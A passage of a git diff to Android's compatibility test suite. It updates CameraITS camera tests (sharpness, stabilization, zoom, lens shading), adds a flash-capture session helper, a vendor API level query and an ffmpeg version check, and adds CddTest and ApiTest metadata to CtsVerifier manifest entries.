- chart.img = image_processing_utils.normalize_img(
- image_processing_utils.get_image_patch(
- y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+ chart.img = image_processing_utils.get_image_patch(
+ y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm)
if n == 0:
image_processing_utils.write_image(
chart.img, '%s_edge=%d.jpg' % (
os.path.join(log_path, NAME), edge_mode))
edge_mode_res = cap['metadata']['android.edge.mode']
sharpness_list.append(
- image_processing_utils.compute_image_sharpness(chart.img))
-
+ image_processing_utils.compute_image_sharpness(chart.img)*255)
+ logging.debug('edge mode: %d, sharpness values: %s',
+ edge_mode_res, sharpness_list)
return {'edge_mode': edge_mode_res, 'sharpness': np.mean(sharpness_list)}
@@ -89,7 +89,6 @@
"""
def test_edge_enhancement(self):
- logging.debug('Starting %s', NAME)
with its_session_utils.ItsSession(
device_id=self.dut.serial,
camera_id=self.camera_id,
diff --git a/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py b/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
index c5e9b19..d67ebe4 100644
--- a/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
+++ b/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
@@ -107,16 +107,15 @@
caps = cam.do_capture([req]*NUM_SAMPLES, [out_surface], reprocess_format)
for n in range(NUM_SAMPLES):
y, _, _ = image_processing_utils.convert_capture_to_planes(caps[n])
- chart.img = image_processing_utils.normalize_img(
- image_processing_utils.get_image_patch(
- y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm))
+ chart.img = image_processing_utils.get_image_patch(
+ y, chart.xnorm, chart.ynorm, chart.wnorm, chart.hnorm)
if n == 0:
image_processing_utils.write_image(
chart.img, '%s_reprocess_fmt_%s_edge=%d.jpg' % (
os.path.join(log_path, NAME), reprocess_format, edge_mode))
edge_mode_res = caps[n]['metadata']['android.edge.mode']
sharpness_list.append(
- image_processing_utils.compute_image_sharpness(chart.img))
+ image_processing_utils.compute_image_sharpness(chart.img)*255)
logging.debug('Sharpness list for edge mode %d: %s',
edge_mode, str(sharpness_list))
return {'edge_mode': edge_mode_res, 'sharpness': np.mean(sharpness_list)}
@@ -134,7 +133,6 @@
"""
def test_reprocess_edge_enhancement(self):
- logging.debug('Starting %s', NAME)
logging.debug('Edge modes: %s', str(EDGE_MODES))
with its_session_utils.ItsSession(
device_id=self.dut.serial,
@@ -179,9 +177,10 @@
# Initialize plot
pylab.figure('reprocess_result')
- pylab.title(NAME)
- pylab.xlabel('Edge Enhance Mode')
- pylab.ylabel('Sharpness')
+ pylab.suptitle(NAME)
+ pylab.title(str(EDGE_MODES))
+ pylab.xlabel('Edge Enhancement Mode')
+ pylab.ylabel('Image Sharpness')
pylab.xticks(EDGE_MODES_VALUES)
# Get the sharpness for each edge mode for regular requests
@@ -244,6 +243,7 @@
logging.debug('Check reprocess format: %s', reprocess_format)
check_edge_modes(sharpnesses_reprocess[reprocess_format])
+ # Check reprocessing doesn't make everyting worse
hq_div_off_reprocess = (
sharpnesses_reprocess[reprocess_format][EDGE_MODES['HQ']] /
sharpnesses_reprocess[reprocess_format][EDGE_MODES['OFF']])
@@ -251,11 +251,10 @@
sharpness_regular[EDGE_MODES['HQ']] /
sharpness_regular[EDGE_MODES['OFF']])
logging.debug('Verify reprocess HQ ~= reg HQ relative to OFF')
- if not math.isclose(hq_div_off_reprocess, hq_div_off_regular,
- rel_tol=SHARPNESS_RTOL):
- raise AssertionError(f'HQ/OFF_reprocess: {hq_div_off_reprocess:.4f}, '
- f'HQ/OFF_reg: {hq_div_off_regular:.4f}, '
- f'RTOL: {SHARPNESS_RTOL}')
+ if hq_div_off_reprocess < hq_div_off_regular*(1-SHARPNESS_RTOL):
+ raise AssertionError(
+ f'HQ/OFF_{reprocess_format}: {hq_div_off_reprocess:.4f}, '
+ f'HQ/OFF_reg: {hq_div_off_regular:.4f}, RTOL: {SHARPNESS_RTOL}')
if __name__ == '__main__':
diff --git a/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py b/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py
index 1f5b7c0..4140ea7 100644
--- a/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py
+++ b/apps/CameraITS/tests/scene4/test_preview_stabilization_fov.py
@@ -35,9 +35,9 @@
_ROUNDESS_DELTA_THRESHOLD = 0.05
_MAX_CENTER_THRESHOLD_PERCENT = 0.075
-_MAX_DIMENSION_SIZE = (1920, 1440) # max mandatory preview stream resolution
+_MAX_AREA = 1920 * 1440 # max mandatory preview stream resolution
_MIN_CENTER_THRESHOLD_PERCENT = 0.02
-_MIN_DIMENSION_SIZE = (176, 144) # assume QCIF to be min preview size
+_MIN_AREA = 176 * 144 # assume QCIF to be min preview size
def _collect_data(cam, video_size, stabilize):
@@ -93,23 +93,19 @@
threshold value ratio between which the circle centers can differ
"""
- max_diagonal = _point_distance(0, 0,
- _MAX_DIMENSION_SIZE[0], _MAX_DIMENSION_SIZE[1])
- min_diagonal = _point_distance(0, 0,
- _MIN_DIMENSION_SIZE[0], _MIN_DIMENSION_SIZE[1])
+ img_area = image_size[0] * image_size[1]
- img_diagonal = _point_distance(0, 0, image_size[0], image_size[1])
+ normalized_area = ((img_area - _MIN_AREA) /
+ (_MAX_AREA - _MIN_AREA))
- normalized_diagonal = ((img_diagonal - min_diagonal) /
- (max_diagonal - min_diagonal))
-
- if normalized_diagonal > 1 or normalized_diagonal < 0:
- raise AssertionError(f'normalized diagonal > 1 or < 0!'
- f' img_diag: {img_diagonal}, '
- f' normalized_diagonal: {normalized_diagonal}')
+ if normalized_area > 1 or normalized_area < 0:
+ raise AssertionError(f'normalized area > 1 or < 0! '
+ f'image_size[0]: {image_size[0]}, '
+ f'image_size[1]: {image_size[1]}, '
+ f'normalized_area: {normalized_area}')
# Threshold should be larger for images with smaller resolution
- normalized_threshold_percent = ((1 - normalized_diagonal) *
+ normalized_threshold_percent = ((1 - normalized_area) *
(_MAX_CENTER_THRESHOLD_PERCENT -
_MIN_CENTER_THRESHOLD_PERCENT))
@@ -144,7 +140,7 @@
# Load scene.
its_session_utils.load_scene(cam, props, self.scene,
- self.tablet, chart_distance=0)
+ self.tablet, self.chart_distance)
# Check skip condition
first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
@@ -153,6 +149,10 @@
'First API level should be {} or higher. Found {}.'.format(
its_session_utils.ANDROID13_API_LEVEL, first_api_level))
+ # Get ffmpeg version being used.
+ ffmpeg_version = video_processing_utils.get_ffmpeg_version()
+ logging.debug('ffmpeg_version: %s', ffmpeg_version)
+
supported_stabilization_modes = props[
'android.control.availableVideoStabilizationModes'
]
@@ -253,7 +253,8 @@
f'{_ROUNDESS_DELTA_THRESHOLD}, '
f'actual ratio difference: {roundness_diff}. ')
- # Distance between centers
+ # Distance between centers, x_offset and y_offset are relative to the
+ # radius of the circle, so they're normalized. Not pixel values.
unstab_center = (ustab_circle['x_offset'], ustab_circle['y_offset'])
logging.debug('unstabilized center: %s', unstab_center)
stab_center = (stab_circle['x_offset'], stab_circle['y_offset'])
diff --git a/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py
index 6eaca19..bf37f0e 100644
--- a/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_video_aspect_ratio_and_crop.py
@@ -137,13 +137,13 @@
logging.debug('physical available focal lengths: %s', str(fls_physical))
# Check SKIP conditions.
- first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+ vendor_api_level = its_session_utils.get_vendor_api_level(self.dut.serial)
camera_properties_utils.skip_unless(
- first_api_level >= its_session_utils.ANDROID13_API_LEVEL)
+ vendor_api_level >= its_session_utils.ANDROID13_API_LEVEL)
# Load scene.
its_session_utils.load_scene(cam, props, self.scene,
- self.tablet, chart_distance=0)
+ self.tablet, self.chart_distance)
# Determine camera capabilities.
supported_video_qualities = cam.get_supported_video_qualities(
@@ -152,6 +152,8 @@
full_or_better = camera_properties_utils.full_or_better(props)
raw_avlb = camera_properties_utils.raw16(props)
+ # Converge 3A.
+ cam.do_3a()
req = capture_request_utils.auto_capture_request()
ref_img_name_stem = f'{os.path.join(self.log_path, _NAME)}'
@@ -166,6 +168,10 @@
run_crop_test = full_or_better and raw_avlb
+ # Get ffmpeg version being used.
+ ffmpeg_version = video_processing_utils.get_ffmpeg_version()
+ logging.debug('ffmpeg_version: %s', ffmpeg_version)
+
for quality_profile_id_pair in supported_video_qualities:
quality = quality_profile_id_pair.split(':')[0]
profile_id = quality_profile_id_pair.split(':')[-1]
diff --git a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
index ae1f315..c1e50bd 100644
--- a/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
+++ b/apps/CameraITS/tests/scene5/test_lens_shading_and_color_uniformity.py
@@ -146,6 +146,7 @@
props = cam.get_camera_properties()
props = cam.override_with_hidden_physical_camera_props(props)
log_path = self.log_path
+ debug_mode = self.debug_mode
# Check SKIP conditions.
camera_properties_utils.skip_unless(
@@ -163,7 +164,16 @@
req = capture_request_utils.auto_capture_request()
w, h = capture_request_utils.get_available_output_sizes('yuv', props)[0]
out_surface = {'format': 'yuv', 'width': w, 'height': h}
- cap = cam.do_capture(req, out_surface)
+ if debug_mode:
+ out_surfaces = [{'format': 'raw'}, out_surface]
+ cap_raw, cap = cam.do_capture(req, out_surfaces)
+ img_raw = image_processing_utils.convert_capture_to_rgb_image(
+ cap_raw, props=props)
+ image_processing_utils.write_image(img_raw, '%s_raw.png' % (
+ os.path.join(log_path, _NAME)), True)
+ logging.debug('Captured RAW %dx%d', img_raw.shape[1], img_raw.shape[0])
+ else:
+ cap = cam.do_capture(req, out_surface)
logging.debug('Captured YUV %dx%d', w, h)
# Get Y channel
img_y = image_processing_utils.convert_capture_to_planes(cap)[0]
diff --git a/apps/CameraITS/tests/scene6/test_zoom.py b/apps/CameraITS/tests/scene6/test_zoom.py
index d4fa21c..32b9927 100644
--- a/apps/CameraITS/tests/scene6/test_zoom.py
+++ b/apps/CameraITS/tests/scene6/test_zoom.py
@@ -78,10 +78,6 @@
test_tols = {}
test_yuv_sizes = []
for i in physical_ids:
- min_fd = physical_props[i]['android.lens.info.minimumFocusDistance']
- focal_l = physical_props[i]['android.lens.info.availableFocalLengths'][0]
- logging.debug('cam[%s] min_fd: %.3f (diopters), fl: %.2f',
- i, min_fd, focal_l)
yuv_sizes = capture_request_utils.get_available_output_sizes(
'yuv', physical_props[i])
test_yuv_sizes.append(yuv_sizes)
@@ -89,13 +85,16 @@
logging.debug('cam[%s] yuv sizes: %s', i, str(yuv_sizes))
# determine if minimum focus distance is less than rig depth
- if (math.isclose(min_fd, 0.0, rel_tol=1E-6) or # fixed focus
- 1.0/min_fd < chart_distance_m*MIN_FOCUS_DIST_TOL):
- test_tols[focal_l] = (RADIUS_RTOL, OFFSET_RTOL)
- else:
- test_tols[focal_l] = (RADIUS_RTOL_MIN_FD, OFFSET_RTOL_MIN_FD)
- logging.debug('loosening RTOL for cam[%s]: '
- 'min focus distance too large.', i)
+ min_fd = physical_props[i]['android.lens.info.minimumFocusDistance']
+ for fl in physical_props[i]['android.lens.info.availableFocalLengths']:
+ logging.debug('cam[%s] min_fd: %.3f (diopters), fl: %.2f', i, min_fd, fl)
+ if (math.isclose(min_fd, 0.0, rel_tol=1E-6) or # fixed focus
+ (1.0/min_fd < chart_distance_m*MIN_FOCUS_DIST_TOL)):
+ test_tols[fl] = (RADIUS_RTOL, OFFSET_RTOL)
+ else:
+ test_tols[fl] = (RADIUS_RTOL_MIN_FD, OFFSET_RTOL_MIN_FD)
+ logging.debug('loosening RTOL for cam[%s]: '
+ 'min focus distance too large.', i)
# find intersection of formats for max common format
common_sizes = list(set.intersection(*[set(list) for list in test_yuv_sizes]))
if debug:
@@ -235,8 +234,10 @@
test_tols, size = get_test_tols_and_cap_size(
cam, props, self.chart_distance, debug)
else:
- fl = props['android.lens.info.availableFocalLengths'][0]
- test_tols = {fl: (RADIUS_RTOL, OFFSET_RTOL)}
+ test_tols = {}
+ fls = props['android.lens.info.availableFocalLengths']
+ for fl in fls:
+ test_tols[fl] = (RADIUS_RTOL, OFFSET_RTOL)
yuv_size = capture_request_utils.get_largest_yuv_format(props)
size = [yuv_size['width'], yuv_size['height']]
logging.debug('capture size: %s', str(size))
diff --git a/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py b/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py
index c6b852c..d90960b 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_preview_stabilization.py
@@ -128,6 +128,10 @@
'Preview Stabilization not supported',
)
+ # Get ffmpeg version being used.
+ ffmpeg_version = video_processing_utils.get_ffmpeg_version()
+ logging.debug('ffmpeg_version: %s', ffmpeg_version)
+
# Raise error if not FRONT or REAR facing camera
facing = props['android.lens.facing']
if (facing != camera_properties_utils.LENS_FACING_BACK
@@ -142,7 +146,9 @@
# List of video resolutions to test
supported_preview_sizes = cam.get_supported_preview_sizes(self.camera_id)
- supported_preview_sizes.remove(video_processing_utils.QCIF_SIZE)
+ for size in video_processing_utils.LOW_RESOLUTION_SIZES:
+ if size in supported_preview_sizes:
+ supported_preview_sizes.remove(size)
logging.debug('Supported preview resolutions: %s',
supported_preview_sizes)
diff --git a/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py b/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
index 0be38b5..d09ee5f 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_video_stabilization.py
@@ -129,7 +129,7 @@
in gyroscope movement. Test is a PASS if rotation is reduced in video.
"""
- def test_video_stability(self):
+ def test_video_stabilization(self):
rot_rig = {}
log_path = self.log_path
@@ -139,14 +139,18 @@
hidden_physical_id=self.hidden_physical_id) as cam:
props = cam.get_camera_properties()
props = cam.override_with_hidden_physical_camera_props(props)
- first_api_level = its_session_utils.get_first_api_level(self.dut.serial)
+ vendor_api_level = its_session_utils.get_vendor_api_level(self.dut.serial)
supported_stabilization_modes = props[
'android.control.availableVideoStabilizationModes']
camera_properties_utils.skip_unless(
- first_api_level >= its_session_utils.ANDROID13_API_LEVEL and
+ vendor_api_level >= its_session_utils.ANDROID13_API_LEVEL and
_VIDEO_STABILIZATION_MODE in supported_stabilization_modes)
+ # Get ffmpeg version being used.
+ ffmpeg_version = video_processing_utils.get_ffmpeg_version()
+ logging.debug('ffmpeg_version: %s', ffmpeg_version)
+
# Raise error if not FRONT or REAR facing camera
facing = props['android.lens.facing']
if (facing != camera_properties_utils.LENS_FACING_FRONT and
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index 3ecc8df..dae63c3 100755
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -240,7 +240,7 @@
img_name = os.path.join(out_path, f'test_{scene}.jpg')
logging.info('Please check scene setup in %s', img_name)
image_processing_utils.write_image(img, img_name)
- choice = input('Is the image okay for ITS {scene}? (Y/N)').lower()
+ choice = input(f'Is the image okay for ITS {scene}? (Y/N)').lower()
if choice == 'y':
break
@@ -518,13 +518,13 @@
# Handle repeated test
if 'tests/' in test:
cmd = [
- 'python',
+ 'python3',
os.path.join(os.environ['CAMERA_ITS_TOP'], test), '-c',
'%s' % new_yml_file_name
]
else:
cmd = [
- 'python',
+ 'python3',
os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests', s, test),
'-c',
'%s' % new_yml_file_name
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index 4a6cbf9..c2065ba 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -616,6 +616,122 @@
raise error_util.CameraItsError('No supported preview sizes')
return data['strValue'].split(';')
+ def do_capture_with_flash(self,
+ preview_request_start,
+ preview_request_idle,
+ still_capture_req,
+ out_surface):
+ """Issue capture request with flash and read back the image and metadata.
+
+ Captures a single image with still_capture_req as capture request
+ with flash. It triggers the precapture sequence with preview request
+ preview_request_start with capture intent preview by setting aePrecapture
+ trigger to Start. This is followed by repeated preview requests
+ preview_request_idle with aePrecaptureTrigger set to IDLE.
+ Once the AE is converged, a single image is captured still_capture_req
+ during which the flash must be fired.
+ Note: The part where we read output data from socket is cloned from
+ do_capture and will be consolidated in U.
+
+ Args:
+ preview_request_start: Preview request with aePrecaptureTrigger set to
+ Start
+ preview_request_idle: Preview request with aePrecaptureTrigger set to Idle
+ still_capture_req: Single still capture request.
+ out_surface: Specifications of the output image formats and
+ sizes to use for capture.
+ Returns:
+ An object which contains following fields:
+ * data: the image data as a numpy array of bytes.
+ * width: the width of the captured image.
+ * height: the height of the captured image.
+ * format: image format
+ * metadata: the capture result object
+ """
+ cmd = {}
+ cmd['cmdName'] = 'doCaptureWithFlash'
+ cmd['previewRequestStart'] = [preview_request_start]
+ cmd['previewRequestIdle'] = [preview_request_idle]
+ cmd['stillCaptureRequest'] = [still_capture_req]
+ cmd['outputSurfaces'] = [out_surface]
+
+ cam_ids = self._camera_id
+ self.sock.settimeout(self.SOCK_TIMEOUT + self.EXTRA_SOCK_TIMEOUT)
+ logging.debug('Capturing image with ON_AUTO_FLASH.')
+ self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+ bufs = {}
+ bufs[self._camera_id] = {'jpeg': []}
+ formats = ['jpeg']
+ rets = []
+ nbufs = 0
+ mds = []
+ physical_mds = []
+ widths = None
+ heights = None
+ ncap = 1
+ capture_results_returned = False
+ yuv_bufs = {}
+ while not capture_results_returned:
+ json_obj, buf = self.__read_response_from_socket()
+ if json_obj['tag'] in ItsSession.IMAGE_FORMAT_LIST_1 and buf is not None:
+ fmt = json_obj['tag'][:-5]
+ bufs[self._camera_id][fmt].append(buf)
+ nbufs += 1
+ elif json_obj['tag'] == 'captureResults':
+ capture_results_returned = True
+ mds.append(json_obj['objValue']['captureResult'])
+ physical_mds.append(json_obj['objValue']['physicalResults'])
+ outputs = json_obj['objValue']['outputs']
+ widths = [out['width'] for out in outputs]
+ heights = [out['height'] for out in outputs]
+ else:
+ tag_string = unicodedata.normalize('NFKD', json_obj['tag']).encode(
+ 'ascii', 'ignore')
+ for x in ItsSession.IMAGE_FORMAT_LIST_2:
+ x = bytes(x, encoding='utf-8')
+ if tag_string.startswith(x):
+ if x == b'yuvImage':
+ physical_id = json_obj['tag'][len(x):]
+ if physical_id in cam_ids:
+ buf_size = numpy.product(buf.shape)
+ yuv_bufs[physical_id][buf_size].append(buf)
+ nbufs += 1
+ else:
+ physical_id = json_obj['tag'][len(x):]
+ if physical_id in cam_ids:
+ fmt = x[:-5].decode('UTF-8')
+ bufs[physical_id][fmt].append(buf)
+ nbufs += 1
+ rets = []
+ for j, fmt in enumerate(formats):
+ objs = []
+ if 'physicalCamera' in cmd['outputSurfaces'][j]:
+ cam_id = cmd['outputSurfaces'][j]['physicalCamera']
+ else:
+ cam_id = self._camera_id
+ for i in range(ncap):
+ obj = {}
+ obj['width'] = widths[j]
+ obj['height'] = heights[j]
+ obj['format'] = fmt
+ if cam_id == self._camera_id:
+ obj['metadata'] = mds[i]
+ else:
+ for physical_md in physical_mds[i]:
+ if cam_id in physical_md:
+ obj['metadata'] = physical_md[cam_id]
+ break
+ obj['data'] = bufs[cam_id][fmt][i]
+ objs.append(obj)
+ rets.append(objs if ncap > 1 else objs[0])
+ self.sock.settimeout(self.SOCK_TIMEOUT)
+ if len(rets) > 1 or (isinstance(rets[0], dict) and
+ isinstance(still_capture_req, list)):
+ return rets
+ else:
+ return rets[0]
+
def do_capture(self,
cap_request,
out_surfaces=None,
@@ -1496,6 +1612,18 @@
return first_api_level
+def get_vendor_api_level(device_id):
+ """Return the int value for the vendor API level of the device."""
+ cmd = 'adb -s %s shell getprop ro.vendor.api_level' % device_id
+ try:
+ vendor_api_level = int(subprocess.check_output(cmd.split()).rstrip())
+ logging.debug('First vendor API level: %d', vendor_api_level)
+ except (subprocess.CalledProcessError, ValueError):
+ logging.error('No vendor_api_level. Setting to build version.')
+ vendor_api_level = get_build_sdk_version(device_id)
+ return vendor_api_level
+
+
class ItsSessionUtilsTests(unittest.TestCase):
"""Run a suite of unit tests on this module."""
diff --git a/apps/CameraITS/utils/video_processing_utils.py b/apps/CameraITS/utils/video_processing_utils.py
index 98d930b..432e7c3 100644
--- a/apps/CameraITS/utils/video_processing_utils.py
+++ b/apps/CameraITS/utils/video_processing_utils.py
@@ -19,6 +19,7 @@
import logging
import os.path
import subprocess
+import error_util
ITS_SUPPORTED_QUALITIES = (
@@ -33,7 +34,23 @@
'LOW',
'VGA'
)
-QCIF_SIZE = '176x144'
+
+LOW_RESOLUTION_SIZES = (
+ '176x144',
+ '192x144',
+)
+
+
+def get_ffmpeg_version():
+ """Returns the ffmpeg version being used."""
+
+ ffmpeg_version_cmd = ('ffmpeg -version')
+ p = subprocess.Popen(ffmpeg_version_cmd, shell=True, stdout=subprocess.PIPE)
+ output, _ = p.communicate()
+ if p.poll() != 0:
+ raise error_util.CameraItsError('Error running ffmpeg version cmd.')
+ decoded_output = output.decode('utf-8')
+ return decoded_output.split(' ')[2]
def extract_key_frames_from_video(log_path, video_file_name):
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index 9b2c16a..024e038 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -91,6 +91,7 @@
"CtsForceStopHelper-constants",
"ctsmediautil",
"DpmWrapper",
+ "MediaPerformanceClassCommon",
],
libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"] + ["android.test.mock.stubs"] + ["android.car-test-stubs"] + ["voip-common"] + ["truth-prebuilt"],
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 344836d..b2513e9 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -248,6 +248,7 @@
<action android:name="android.intent.action.MAIN" />
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
+ <meta-data android:name="CddTest" android:value="3.8.17/C-1-1,C-2-1" />
<meta-data android:name="test_category" android:value="@string/test_category_features" />
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
@@ -2052,6 +2053,9 @@
<meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="7.4.5.2" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.ConnectivityManager#registerNetworkCallback|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getLinkProperties" />
</activity>
<activity android:name=".net.MultiNetworkConnectivityTestActivity"
@@ -2068,6 +2072,8 @@
android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.ConnectivityManager#getNetworkCapabilities|android.net.ConnectivityManager#getAllNetworks|android.net.ConnectivityManager#requestNetwork|android.net.ConnectivityManager#unregisterNetworkCallback|android.net.ConnectivityManager#getActiveNetwork|android.net.ConnectivityManager#getNetworkInfo|android.net.ConnectivityManager#reportNetworkConnectivity" />
</activity>
<activity android:name=".nfc.NfcTestActivity"
@@ -2827,6 +2833,16 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.hardware.Camera#getNumberOfCameras|
+ android.hardware.Camera#open|
+ android.hardware.Camera#startPreview|
+ android.hardware.Camera#stopPreview|
+ android.hardware.Camera#takePicture|
+ android.hardware.Camera#setParameters|
+ android.hardware.Camera#setDisplayOrientation|
+ android.hardware.Camera.Parameters#setHorizontalViewAngle|
+ android.hardware.Camera.Parameters#setVerticalViewAngle" />
</activity>
<activity
android:name=".camera.fov.DetermineFovActivity"
@@ -2836,6 +2852,11 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.media.ExifInterface#TAG_ORIENTATION|
+ android.media.ExifInterface#ORIENTATION_ROTATE_90|
+ android.media.ExifInterface#ORIENTATION_ROTATE_180|
+ android.media.ExifInterface#ORIENTATION_ROTATE_270" />
</activity>
<activity
android:name=".camera.fov.CalibrationPreferenceActivity"
@@ -2861,6 +2882,32 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.hardware.Camera#getParameters|
+ android.hardware.Camera#lock|
+ android.hardware.Camera#setDisplayOrientation|
+ android.hardware.Camera#setPreviewCallback|
+ android.hardware.Camera#setParameters|
+ android.hardware.Camera#setPreviewTexture|
+ android.hardware.Camera#startPreview|
+ android.hardware.Camera#stopPreview|
+ android.hardware.Camera#unlock|
+ android.media.MediaRecorder#prepare|
+ android.media.MediaRecorder#release|
+ android.media.MediaRecorder#reset|
+ android.media.MediaRecorder#setAudioEncoder|
+ android.media.MediaRecorder#setAudioSource|
+ android.media.MediaRecorder#setCamera|
+ android.media.MediaRecorder#setOnErrorListener|
+ android.media.MediaRecorder#setOutputFormat|
+ android.media.MediaRecorder#setOutputFile|
+ android.media.MediaRecorder#setProfile|
+ android.media.MediaRecorder#setVideoEncoder|
+ android.media.MediaRecorder#setVideoEncodingBitRate|
+ android.media.MediaRecorder#setVideoSize|
+ android.media.MediaRecorder#setVideoSource|
+ android.media.MediaRecorder#start|
+ android.media.MediaRecorder#stop" />
</activity>
<activity android:name=".camera.its.ItsTestActivity"
@@ -3106,6 +3153,7 @@
<meta-data android:name="test_category" android:value="@string/test_category_notifications" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="2.2.3/3.8.3/H-0-1|3.8.3.1/C-1-5|3.8.3.1/C-3-1|3.8.3.1/C-3-2|3.8.3.2/C-0-1|3.8.3.2/C-0-2|3.8.3.2/C-1-1" />
</activity>
<activity android:name=".notifications.NotificationPrivacyVerifierActivity"
@@ -3120,6 +3168,7 @@
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.automotive" />
<meta-data android:name="display_mode" android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="3.8.3.1/C-1-4|2.2.3/3.8.10/H-1-1" />
</activity>
<activity android:name=".notifications.ShowWhenLockedActivity"
@@ -3170,6 +3219,7 @@
android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="3.8.3.3/C-1-1" />
</activity>
<activity android:name=".notifications.AttentionManagementVerifierActivity"
@@ -3184,6 +3234,7 @@
android:value="android.hardware.type.watch:android.software.leanback" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="2.2.3/3.8.4/H-1-1|3.8.3.3/C-1-1|3.8.3.3/C-1-3" />
</activity>
<activity android:name=".notifications.ToastVerifierActivity"
@@ -3196,6 +3247,8 @@
<meta-data android:name="test_category" android:value="@string/test_category_notifications" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.widget.Toast#makeText" />
</activity>
<activity android:name=".notifications.BubblesVerifierActivity"
@@ -3210,6 +3263,8 @@
android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.app.Notification.Builder#setBubbleMetadata|android.app.NotificationManager#notify" />
</activity>
<activity android:name=".notifications.BubbleActivity"
@@ -3265,6 +3320,7 @@
android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="3.8.1/C-4-1" />
</activity>
<activity android:name=".qstiles.TileServiceVerifierActivity"
@@ -3481,6 +3537,14 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setSsidPattern
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setBssidPattern
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setWpa2Passphrase
+ |android.net.NetworkRequest.Builder#setNetworkSpecifier
+ |android.net.ConnectivityManager#requestNetwork" />
</activity>
<activity android:name=".wifi.NetworkRequestPatternNetworkSpecifierTestActivity"
@@ -3488,6 +3552,14 @@
android:configChanges="keyboardHidden|orientation|screenSize" >
<meta-data android:name="display_mode"
android:value="single_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.net.wifi.WifiNetworkSpecifier.Builder#build
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setSsidPattern
+ |android.net.wifi.WifiNetworkSpecifier.Builder#setBssidPattern
